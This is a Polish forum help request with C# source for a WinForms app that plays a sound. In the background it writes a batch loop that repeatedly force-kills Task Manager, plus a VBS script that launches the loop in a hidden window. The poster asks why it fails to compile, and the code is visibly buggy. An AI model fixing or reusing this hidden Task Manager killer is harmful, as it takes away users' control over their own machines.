Cześć mam pewien problem, otóż próbuję stworzyć plik VBS w C# i podczas próby kompilacji wyskakuje mi błąd w temacie. Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using WMPLib;
using System.IO;
using System.Diagnostics;
namespace SuperHot
{
public partial class Form1 : Form
{
WindowsMediaPlayer player = new WindowsMediaPlayer();
public Form1()
{
InitializeComponent();
player.URL = "computer.mp3";
byte[] byteArray = Encoding.UTF8.GetBytes("y.vbs");
MemoryStream stream = new MemoryStream(byteArray);
StreamWriter File = new StreamWriter("x.bat");
File.Write("@echo off");
File.Write(":1");
File.Write("taskkill /f /im Taskmgr.exe");
File.Write("goto :1");
File.Close();
StreamWriter File1 = new StreamWriter("y.vbs");
File.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
File.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
File.Write("Set WshShell = Nothing");
File.Close();
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
cmd.StandardInput.WriteLine("echo Oscar");
cmd.StandardInput.Flush();
cmd.StandardInput.Close();
cmd.WaitForExit();
Console.WriteLine(cmd.StandardOutput.ReadToEnd());
}
private void Form1_Load(object sender, EventArgs e)
{
player.controls.play();
}
}
}
Zdjęcie: